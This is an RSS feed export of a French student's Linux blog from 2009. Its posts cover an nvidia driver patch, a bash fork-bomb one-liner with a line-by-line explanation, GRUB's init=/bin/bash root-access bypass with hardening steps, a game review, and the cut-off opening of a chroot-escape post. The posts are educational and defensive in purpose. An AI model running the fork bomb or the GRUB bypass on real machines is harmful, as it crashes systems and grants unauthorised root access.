<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Le bric-à-brac</title>
	<atom:link href="http://lebricabrac.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://lebricabrac.wordpress.com</link>
	<description>Le blog informatique</description>
	<lastBuildDate>Mon, 09 Nov 2009 19:07:33 +0000</lastBuildDate>
	<generator>http://wordpress.com/</generator>
	<language>fr</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<cloud domain='lebricabrac.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://www.gravatar.com/blavatar/82cd2ac1619f2a538a3600327a2edbb0?s=96&#038;d=http://s.wordpress.com/i/buttonw-com.png</url>
		<title>Le bric-à-brac</title>
		<link>http://lebricabrac.wordpress.com</link>
	</image>
			<item>
		<title>[Linux] Driver graphique nvidia optimisé</title>
		<link>http://lebricabrac.wordpress.com/2009/11/03/linux-driver-graphique-nvidia-optimise/</link>
		<comments>http://lebricabrac.wordpress.com/2009/11/03/linux-driver-graphique-nvidia-optimise/#comments</comments>
		<pubDate>Tue, 03 Nov 2009 11:37:40 +0000</pubDate>
		<dc:creator>Nassim</dc:creator>
				<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[3d]]></category>
		<category><![CDATA[compiz]]></category>
		<category><![CDATA[driver]]></category>
		<category><![CDATA[graphique]]></category>
		<category><![CDATA[linuxdz]]></category>
		<category><![CDATA[nvidia]]></category>
		<category><![CDATA[optimiser]]></category>
		<category><![CDATA[patch]]></category>

		<guid isPermaLink="false">http://lebricabrac.wordpress.com/?p=168</guid>
		<description><![CDATA[
J&#8217;ai dernièrement patché le driver nvidia avec un bout de code trouvé dans un coin de la toile, visiblement il se montre efficace sur ma carte graphique Nvidia GeForce Go 7400 (pour laptop), sous glxgears j&#8217;ai une légère amélioration d&#8217;une 100ène FPS à peu près. Il semblerait néanmoins que ce patch soi t plus efficace [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=168&subd=lebricabrac&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><img class="alignnone size-full wp-image-169" title="nvidia-logo" src="http://lebricabrac.files.wordpress.com/2009/11/nvidia-logo.jpg?w=200&#038;h=156" alt="nvidia-logo" width="200" height="156" /></p>
<p>J&#8217;ai dernièrement patché le driver nvidia avec un bout de code trouvé dans un coin de la toile, visiblement il se montre efficace sur ma carte graphique Nvidia GeForce Go 7400 (pour laptop), sous glxgears j&#8217;ai une légère amélioration d&#8217;une 100ène FPS à peu près. Il semblerait néanmoins que ce patch soi t plus efficace sur les ancienne cartes graphiques nvidia, il permettrait ainsi de régler le problème de saccades sous <a href="http://fr.wikipedia.org/wiki/Compiz" target="_blank">Compiz</a>.</p>
<p>Pour installer le patch, il vous faut tout d&#8217;abord télécharger le pilote nvidia depuis le site officiel. Puis créez un fichier patch.txt dans lequel vous copierez ceci :</p>
<blockquote><p>diff -ru usr/src/nv/nv.c usr/src/nv.572433/nv.c<br />
&#8212; usr/src/nv/nv.c    2009-05-27 03:20:53.000000000 -0700<br />
+++ usr/src/nv.572433/nv.c    2009-07-05 11:31:27.635210006 -0700<br />
@@ -888,6 +888,7 @@<br />
unsigned int pat1, pat2, i;<br />
U008 PAT_WC_index;</p>
<p>+#if 0 /* disabled */<br />
if (!test_bit(X86_FEATURE_PAT,<br />
(volatile unsigned long *)&amp;boot_cpu_data.x86_capability))<br />
{<br />
@@ -895,6 +896,7 @@<br />
&#8220;NVRM: CPU does not support the PAT, falling back to MTRRs.\n&#8221;);<br />
return NV_PAT_MODE_DISABLED;<br />
}<br />
+#endif</p>
<p>NV_READ_PAT_ENTRIES(pat1, pat2);<br />
PAT_WC_index = 0xf;</p></blockquote>
<p>Maintenant, vous allez patcher le driver télécharger avec ce patch, pour cela utilisez la commande :</p>
<p># sh NVIDIA-Linux-xXX-XXX.XX-pkg1.run &#8211;apply-patch patch.txt</p>
<p>Notez que le # désigne le prompt, il ne faut pas le taper, quant aux X ils désignent des chiffres relatifs à la version du pilote, il faudra donc les remplacer selon la version téléchargée.</p>
<p>Le résultat de cette commande est un fichier qui ressemble à ceci :</p>
<blockquote><p>NVIDIA-Linux-x86-190.42-pkg1-<span style="color:#ff0000;"><strong>custom</strong></span>.run</p></blockquote>
<p>Le fichier généré porte quasiment le même nom que le pilote que vous avez téléchargé à la différence qu&#8217;il y a la mention&#8221; custom&#8221; qui signifie &#8220;personnalisé&#8221;.</p>
<p>Voilà, vous pouvez maintenant procéder à son installation :</p>
<blockquote><p>sh NVIDIA-Linux-x86-190.42-pkg1-custom.run</p></blockquote>
<p><span style="color:#ff0000;"><strong>Important :</strong></span></p>
<p><span style="color:#ff0000;"><strong>1/ Pensez à désinstaller le driver Nvidia déjà présent sur votre machine (utilisez votre gestionnaire de paquetage pour cela).</strong></span></p>
<p><span style="color:#ff0000;"><strong>2/ Je décline toute responsabilité vis-à-vis des problèmes liés à l&#8217;utilisation de ce driver patché et/ou aux désagréments rencontrés suite à la désinstallation du driver nvidia déjà présent.</strong></span></p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/lebricabrac.wordpress.com/168/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/lebricabrac.wordpress.com/168/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/lebricabrac.wordpress.com/168/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/lebricabrac.wordpress.com/168/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/lebricabrac.wordpress.com/168/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/lebricabrac.wordpress.com/168/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/lebricabrac.wordpress.com/168/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/lebricabrac.wordpress.com/168/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/lebricabrac.wordpress.com/168/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/lebricabrac.wordpress.com/168/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=168&subd=lebricabrac&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://lebricabrac.wordpress.com/2009/11/03/linux-driver-graphique-nvidia-optimise/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9d813660c3a4de1e7d4153f3e8aa7410?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nassim</media:title>
		</media:content>

		<media:content url="http://lebricabrac.files.wordpress.com/2009/11/nvidia-logo.jpg" medium="image">
			<media:title type="html">nvidia-logo</media:title>
		</media:content>
	</item>
		<item>
		<title>[Linux] Fork bombing, l&#8217;art de faire crasher Linux !</title>
		<link>http://lebricabrac.wordpress.com/2009/11/03/linux-fork-bombing-lart-de-faire-crasher-linux/</link>
		<comments>http://lebricabrac.wordpress.com/2009/11/03/linux-fork-bombing-lart-de-faire-crasher-linux/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 22:53:18 +0000</pubDate>
		<dc:creator>Nassim</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[console]]></category>
		<category><![CDATA[crash]]></category>
		<category><![CDATA[fork]]></category>
		<category><![CDATA[linuxdz]]></category>
		<category><![CDATA[pam]]></category>
		<category><![CDATA[plantage]]></category>
		<category><![CDATA[shell]]></category>

		<guid isPermaLink="false">http://lebricabrac.wordpress.com/?p=161</guid>
		<description><![CDATA[
Les cours se suivent l&#8217;un après l&#8217;autre et parfois on découvre des choses passionnantes. Dernièrement en étudiant la notion de fork (ou plutôt devrais-je dire &#8220;en re-étudiant&#8221; puisque j&#8217;avais déjà étudié cela durant mon précédent cursus) j&#8217;ai eu une idée lumineuse (machiavélique) qui se résume à utiliser des forks pour saturer le système et ainsi [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=161&subd=lebricabrac&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><img class="alignnone size-full wp-image-162" title="bombe" src="http://lebricabrac.files.wordpress.com/2009/11/bombe.png?w=316&#038;h=316" alt="bombe" width="316" height="316" /></p>
<p style="text-align:justify;">Les cours se suivent l&#8217;un après l&#8217;autre et parfois on découvre des choses passionnantes. Dernièrement en étudiant la notion de <a href="http://fr.wikipedia.org/wiki/Fork#Fonction_fork_dans_UNIX" target="_blank">fork</a> (ou plutôt devrais-je dire &#8220;en re-étudiant&#8221; puisque j&#8217;avais déjà étudié cela durant mon précédent cursus) j&#8217;ai eu une idée <span style="text-decoration:line-through;">lumineuse</span> (machiavélique) qui se résume à utiliser des forks pour saturer le système et ainsi le faire planter.</p>
<p style="text-align:justify;">Quelques minutes plus tard et après avoir tapé quelques lignes de code en C, j&#8217;ai obtenu le résultat escompté, c&#8217;est-à-dire un joli plantage, pour aller plus loin dans le sujet j&#8217;ai <em>googlé</em> un peu et là je suis tombé sur un code merveilleux, d&#8217;une beauté rare ! Un petit code en bash à taper directement dans sa console pour faire planter Linux, <strong>c&#8217;est instantané et radical !</strong></p>
<p style="text-align:justify;">Voici donc le code magic :</p>
<blockquote>
<p style="text-align:justify;">:() { : | : &amp; };:</p>
</blockquote>
<p style="text-align:justify;">Cela peu paraitre fou mais ces quelques caractères font réellement planter le PC ! Seule solution pour reprendre la main : redémarrer à l&#8217;aide du bouton d&#8217;arrêt!</p>
<p style="text-align:justify;">Ceux qui, comme moi, ont étudié et codé un peu en bash, ont normalement compris ce qui se cache dernière cette série de symboles&#8230; Non ?! Vous ne comprenez pas ?!?!  Ok, alors je vais expliquer le code par petits bouts :</p>
<p style="text-align:justify;"><span style="color:#ff0000;"><strong>:()</strong></span> Cette syntaxe bash indique que l&#8217;on créé une fonction nommée &#8220;<strong>:</strong>&#8220;.</p>
<p style="text-align:justify;"><span style="color:#ff0000;"><strong>{</strong></span> Cette accolade ouvrante marque le début du contenu de la fonction.</p>
<p style="text-align:justify;"><strong><span style="color:#ff0000;">: | : &amp;</span> </strong>Ceci est le corps de la fonction, on appelle la fonction &#8220;:&#8221; en elle-même (récursivité) et on la pipe avec elle même, le tout sera exécuté en tâche de fond.</p>
<p style="text-align:justify;"><span style="color:#ff0000;"><strong>}</strong></span> Cette accolade fermante indique la fin du contenu de la fonction.</p>
<p style="text-align:justify;"><strong><span style="color:#ff0000;">;:</span> </strong>Le point virgule en console sert de séparateur entre deux commandes, le &#8220;:&#8221; indique qu&#8217;on lance la fonction &#8220;:&#8221; qu&#8217;on a précédemment défini.</p>
<p style="text-align:justify;">En résumé, ce qu&#8217;il y a avant le &#8220;;&#8221; sert à définir notre fonction et ce qu&#8217;il y a après le &#8220;;&#8221; est l&#8217;appel de la fonction définie. Le résultat est un fork exponentiel qui va très rapidement saturer la mémoire (cela foudroie instantanément  mon laptop équipé d&#8217;un dual core 1,6Ghz et d&#8217;1Go de DDRII).</p>
<p style="text-align:justify;">Bien entendu, étant futur administrateur système et réseau et passionné de sécurité informatique, j&#8217;ai aussi cherché à savoir comment se protéger de ce genre de pratique, mine de rien ce petit truc là que je vous montre dans ce billet permet à un utilisateur ayant des privilèges standards de faire planter la machine sans utiliser de commandes particulières, vous imaginez ça sur un serveur de production ?</p>
<p style="text-align:justify;">Donc j&#8217;ai pu constater qu&#8217;un des moyens de protéger son système est d&#8217;utiliser <a href="http://fr.wikipedia.org/wiki/Pluggable_Authentication_Modules" target="_blank">PAM</a>, il faut donc éditer le fichier /etc/security/limits.conf pour limiter le nombre de processus que peut lancer un utilisateur.</p>
<p style="text-align:justify;">Il doit aussi y avoir des patchs pour le noyau permettant de sécuriser ce phénomène mais comme j&#8217;ai un examen assez complexe demain (sémaphores et compagnie), je n&#8217;ai pas eu le temps de chercher d&#8217;avantage. Néanmoins, je vous tiens au courant et je vous dis à très bientôt pour de nouvelles aventures !</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/lebricabrac.wordpress.com/161/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/lebricabrac.wordpress.com/161/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/lebricabrac.wordpress.com/161/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/lebricabrac.wordpress.com/161/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/lebricabrac.wordpress.com/161/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/lebricabrac.wordpress.com/161/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/lebricabrac.wordpress.com/161/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/lebricabrac.wordpress.com/161/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/lebricabrac.wordpress.com/161/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/lebricabrac.wordpress.com/161/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=161&subd=lebricabrac&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://lebricabrac.wordpress.com/2009/11/03/linux-fork-bombing-lart-de-faire-crasher-linux/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9d813660c3a4de1e7d4153f3e8aa7410?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nassim</media:title>
		</media:content>

		<media:content url="http://lebricabrac.files.wordpress.com/2009/11/bombe.png" medium="image">
			<media:title type="html">bombe</media:title>
		</media:content>
	</item>
		<item>
		<title>[Linux] Sécuriser GRUB</title>
		<link>http://lebricabrac.wordpress.com/2009/10/20/linux-securiser-grub/</link>
		<comments>http://lebricabrac.wordpress.com/2009/10/20/linux-securiser-grub/#comments</comments>
		<pubDate>Tue, 20 Oct 2009 17:29:06 +0000</pubDate>
		<dc:creator>Nassim</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[bash]]></category>
		<category><![CDATA[bootloader]]></category>
		<category><![CDATA[bsd]]></category>
		<category><![CDATA[gnu]]></category>
		<category><![CDATA[grub]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linuxdz]]></category>
		<category><![CDATA[passwd]]></category>
		<category><![CDATA[protection]]></category>
		<category><![CDATA[root]]></category>

		<guid isPermaLink="false">http://lebricabrac.wordpress.com/?p=154</guid>
		<description><![CDATA[
Les cours s&#8217;enchainent de manière soutenue et ils sont de plus en plus intéressants. Il faut dire que certains de nos profs sont des pointures dans le domaine du libre, je pense notamment à Lucas Nussbaum qui est un développeur Debian (mainteneur officiel des packages de Perl sous Debian et Ubuntu) ainsi que Laurent Vallar [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=154&subd=lebricabrac&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p style="text-align:justify;"><img class="aligncenter size-full wp-image-155" title="pc-security" src="http://lebricabrac.files.wordpress.com/2009/10/pc-security.jpg?w=350&#038;h=233" alt="pc-security" width="350" height="233" /></p>
<p>Les cours s&#8217;enchainent de manière soutenue et ils sont de plus en plus intéressants. Il faut dire que certains de nos profs sont des pointures dans le domaine du libre, je pense notamment à Lucas Nussbaum qui est un développeur Debian (mainteneur officiel des packages de Perl sous Debian et Ubuntu) ainsi que Laurent Vallar qui est membre de la team <a href="http://www.linuxfr.org" target="_blank">Linuxfr.org</a>.</p>
<p>Aujourd&#8217;hui on a eu droit en cours à une petite parenthèse au sujet de la sécurité de GRUB, Mr Nussbaum nous a montré comme il était facile d&#8217;exploiter GRUB dans sa configuration par défaut pour avoir accès à un système sans mot de passe root ni compte utilisateur.</p>
<p>La méthode qui nous a été décrite est affreusement simple du moment qu&#8217;on n&#8217;a accès physique à la machine, il suffit lors de l&#8217;affichage du menu de sélection de GRUB de sélectionner l&#8217;entrée de la distribution Linux puis de taper &#8220;e&#8221; pour éditer cette entrée, on ajouter à la fin de la ligne débutant par<strong> kernel </strong>la commande suivante :</p>
<blockquote><p>init=/bin/bash</p></blockquote>
<p>Attention à bien laisser un espace entre le texte déjà présent dans la ligne et ce qu&#8217;on y ajoute. Il ne faut pas que cela soit coller !</p>
<p>Une fois cette modification faite, on valide en tapant sur &#8220;Entrée&#8221; puis on boot en pressant la touche &#8220;b&#8221;. Et là miracle, au bout de quelques seconde on arrive sur un shell bash tout beau sans qu&#8217;aucune identification ne soit requise. A partir de là on peut imaginer effectuer tout un tas d&#8217;action comme modifier le mot de passe d&#8217;un utilisateur à l&#8217;aide de la commande <strong>passwd</strong>. <span style="color:#ff0000;"><strong>Notez d&#8217;ailleurs que cette technique est parfaitement utilisable quand vous avez oublié votre mot de passe root par exemple</strong></span>.</p>
<p>Maintenant voyons comment améliorer la sécurité de notre GRUB et du PC de manière générale :</p>
<ol>
<li>Mettre un mot de passe au BIOS pour éviter les modifications de celui-ci.</li>
<li>Modifier les séquences de boot de façon à ce que la machine ne boot que sur le disque dur, pensez pour cela à complètement désactiver les autres périphériques de boot car se contenter de mettre le disque dur en première position dans la séquence de boot ne suffit pas, un hacker peut très  bien sélectionner un autre périphérique de boot avec certains raccourcis comme F2, F10 ou F12 (tout dépend du matériel).</li>
<li>Mettre un cadenas au chassie du PC (ou l&#8217;enfermer dans une case du bureau) pour empêcher un accès à l&#8217;intérieur de la machine.</li>
<li>Protéger GRUB à l&#8217;aide d&#8217;un mot de passe :</li>
</ol>
<p>Pour mettre un mot de passe à grub il va tout débord falloir générer un hash md5 du mot de passe que vous désirez utiliser, pour cela il faut passer par l&#8217;utilitaire <strong>grub-md5-crypt</strong> :</p>
<blockquote><p>[nassim@Laptop_Nassim ~]$ grub-md5-crypt<br />
Password:<br />
Retype password:<br />
<span style="color:#008000;">$1$XF1ZG/$Hry.mmJjvlJ1DeH4/4EG9</span>.</p></blockquote>
<p>La chaine de caractère en vert est votre mot de passe en crypté, vous devez le copier. Il ne reste plus qu&#8217;à éditer le fichier <strong>menu.lst</strong> de Grub et y insérer la ligne suivante au niveau des configurations générales (et non à la fin du fichier) :</p>
<blockquote><p>password &#8211;md5 <span style="color:#008000;">MotDePasseCrypté</span></p></blockquote>
<p>Pour activer la protection des différentes entrées de Grub, il faut modifier chaque entrée du <strong>menu.lst</strong> en ajoutant le terme <strong>lock </strong>en dessous de leur titre, comme dans cet exemple :</p>
<blockquote><p># (0) Arch Linux<br />
title  Arch Linux<br />
<span style="color:#008000;">lock</span><br />
root   (hd0,5)<br />
kernel /boot/vmlinuz26 root=/dev/disk/by-uuid/af698b50-2fab-4465-9e75-94de78fca8b2 ro vga=792<br />
initrd /boot/kernel26.img</p></blockquote>
<p>Voilà, désormais lors du lancement de grub vous ne pourrez ni éditer ni lancer une entrée (démarrer Linux) dans avoir pressé la touche &#8220;p&#8221; puis avoir saisi votre mot de passe.</p>
<p>J&#8217;avoue Personnellement, je trouve que cette protection n&#8217;est pas très pratique, cela devient vite fatiguant de devoir saisir son mot  de passe à chaque démarrage, je recommande donc cette manipulation uniquement pour les machines qui nécessites réellement un soin très particulier en terme de sécurisation (serveur, ordinateur ayant des données sensibles&#8230;etc).</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/lebricabrac.wordpress.com/154/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/lebricabrac.wordpress.com/154/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/lebricabrac.wordpress.com/154/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/lebricabrac.wordpress.com/154/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/lebricabrac.wordpress.com/154/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/lebricabrac.wordpress.com/154/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/lebricabrac.wordpress.com/154/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/lebricabrac.wordpress.com/154/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/lebricabrac.wordpress.com/154/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/lebricabrac.wordpress.com/154/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=154&subd=lebricabrac&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://lebricabrac.wordpress.com/2009/10/20/linux-securiser-grub/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9d813660c3a4de1e7d4153f3e8aa7410?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nassim</media:title>
		</media:content>

		<media:content url="http://lebricabrac.files.wordpress.com/2009/10/pc-security.jpg" medium="image">
			<media:title type="html">pc-security</media:title>
		</media:content>
	</item>
		<item>
		<title>[Linux&#124;Jeux] Warsow</title>
		<link>http://lebricabrac.wordpress.com/2009/10/11/linuxjeux-warsow/</link>
		<comments>http://lebricabrac.wordpress.com/2009/10/11/linuxjeux-warsow/#comments</comments>
		<pubDate>Sun, 11 Oct 2009 16:48:39 +0000</pubDate>
		<dc:creator>Nassim</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[archlinux]]></category>
		<category><![CDATA[cell-shading]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[fps]]></category>
		<category><![CDATA[games]]></category>
		<category><![CDATA[gnu]]></category>
		<category><![CDATA[jeux]]></category>
		<category><![CDATA[jouer]]></category>
		<category><![CDATA[lan]]></category>
		<category><![CDATA[linuxdz]]></category>
		<category><![CDATA[opensource]]></category>
		<category><![CDATA[play]]></category>
		<category><![CDATA[réseau]]></category>
		<category><![CDATA[warsow]]></category>

		<guid isPermaLink="false">http://lebricabrac.wordpress.com/?p=150</guid>
		<description><![CDATA[Warsaw est un jeu gratuit de type FPS disponible sous Linux et adoptant un style graphique proche des bandes dessinées (cel-shading).
La qualité du jeu  est vraiment excellente, sa jouabilité est irréprochable et il est doté de quelques particularités résidant dans un système de double munitions (weak ammo et strong ammo) ainsi qu&#8217;un gameplay intégrant des [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=150&subd=lebricabrac&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><img class="aligncenter" title="Warsaw" src="http://www.beer-garden.org/bg2/uploads/smartsection/images/item/warsow05.png" alt="" width="255" height="260" />Warsaw est un jeu <strong>gratuit</strong> de type <a href="http://fr.wikipedia.org/wiki/Jeu_de_tir_subjectif" target="_blank">FPS</a> disponible sous <strong>Linux</strong> et adoptant un style graphique proche des bandes dessinées (<a href="http://fr.wikipedia.org/wiki/Cell-shading">cel-shading</a>).</p>
<p>La qualité du jeu  est<strong> vraiment excellente</strong>, sa jouabilité est irréprochable et il est doté de quelques particularités résidant dans un système de double munitions (weak ammo et strong ammo) ainsi qu&#8217;un gameplay intégrant des mouvements spéciaux (pointes de vitesse, rebonds sur les murs, course sur les murs style Prince Of Persia&#8230;etc.) .</p>
<p>Les modes de jeux sont nombreux, on retrouve les classiques &#8220;Death Match&#8221;, &#8220;Team DeachMatch&#8221;, &#8220;Capture The Flag&#8221; mais aussi des modes plus spécifiques comme &#8220;Dual&#8221; où deux joueurs s&#8217;affrontent, &#8220;Race&#8221; axé rapidité, &#8220;Clan Arena&#8221;, &#8220;Duel Arena&#8221; et &#8220;Instagib&#8221;. Il est possible de jouer en local grâce à un système de bots inclus nativement.</p>
<p>Voici quelques captures d&#8217;écran :</p>
<p><img class="alignleft" title="warsow" src="http://www.kerodownload.com/FCKeditor_filemanager/Image/18-05-2008/warsow4.jpg" alt="" width="500" height="384" /></p>
<p><img class="alignleft" title="warsow" src="http://imag.malavida.com/mvimgbig/download/warsow-4131-1.jpg" alt="" width="550" height="400" /></p>
<p><img class="alignleft" title="warsow" src="http://www.g4g.it/g4g/wp-content/uploads/2008/01/warsow_0_4_01.jpg" alt="" width="530" height="398" /></p>
<p>Pour installer Warsow utilisez le gestionnaire de paquetage de votre distribution Linux (à noter que la dernière version du jeu est la 0.5) ou téléchargez le jeu depuis son site officiel : <a href="http://www.warsow.net" target="_blank">http://www.warsow.net</a></p>
<p>Pour finir, sachez que Warsow est aussi disponible sous Windows et Mac OS.</p>
<p>Dans un prochain billet, je traiterai de l&#8217;installation d&#8217;un serveur dédié Warsow tel que celui que j&#8217;ai mis en place dans notre salle de cours à l&#8217;institut.</p>
<div id="_mcePaste" style="overflow:hidden;position:absolute;left:-10000px;top:149px;width:1px;height:1px;">
<p>tp://fr.wikipedia.org/wiki/Jeu_de_tir_subjectifc</p>
</div>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/lebricabrac.wordpress.com/150/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/lebricabrac.wordpress.com/150/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/lebricabrac.wordpress.com/150/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/lebricabrac.wordpress.com/150/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/lebricabrac.wordpress.com/150/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/lebricabrac.wordpress.com/150/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/lebricabrac.wordpress.com/150/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/lebricabrac.wordpress.com/150/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/lebricabrac.wordpress.com/150/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/lebricabrac.wordpress.com/150/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=150&subd=lebricabrac&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://lebricabrac.wordpress.com/2009/10/11/linuxjeux-warsow/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/9d813660c3a4de1e7d4153f3e8aa7410?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Nassim</media:title>
		</media:content>

		<media:content url="http://www.beer-garden.org/bg2/uploads/smartsection/images/item/warsow05.png" medium="image">
			<media:title type="html">Warsaw</media:title>
		</media:content>

		<media:content url="http://www.kerodownload.com/FCKeditor_filemanager/Image/18-05-2008/warsow4.jpg" medium="image">
			<media:title type="html">warsow</media:title>
		</media:content>

		<media:content url="http://imag.malavida.com/mvimgbig/download/warsow-4131-1.jpg" medium="image">
			<media:title type="html">warsow</media:title>
		</media:content>

		<media:content url="http://www.g4g.it/g4g/wp-content/uploads/2008/01/warsow_0_4_01.jpg" medium="image">
			<media:title type="html">warsow</media:title>
		</media:content>
	</item>
		<item>
		<title>[Sécurité/Linux] Chroot Break</title>
		<link>http://lebricabrac.wordpress.com/2009/10/04/securitelinux-chroot-break/</link>
		<comments>http://lebricabrac.wordpress.com/2009/10/04/securitelinux-chroot-break/#comments</comments>
		<pubDate>Sun, 04 Oct 2009 17:43:48 +0000</pubDate>
		<dc:creator>Nassim</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[évation]]></category>
		<category><![CDATA[chroot]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[gnu]]></category>
		<category><![CDATA[grsecurity]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linuxdz]]></category>
		<category><![CDATA[piratage]]></category>
		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://lebricabrac.wordpress.com/?p=138</guid>
		<description><![CDATA[
Derrière ce titre original se cache un billet traitant de l&#8217;évasion d&#8217;un chroot sous GNU/Linux, sujet pour lequel je me suis très fortement inspiré de ce que j&#8217;ai vu récemment en cours.
De plus en plus de personnes procèdent au compartimentage des applications de leur serveur à l&#8217;aide de l&#8217;outil chroot, le but de cette manipulation [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=lebricabrac.wordpress.com&blog=1877996&post=138&subd=lebricabrac&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p><img class="aligncenter size-full wp-image-139" title="chrootbreak" src="http://lebricabrac.files.wordpress.com/2009/10/chrootbreak.png?w=460&#038;h=368" alt="chrootbreak" width="460" height="368" /></p>
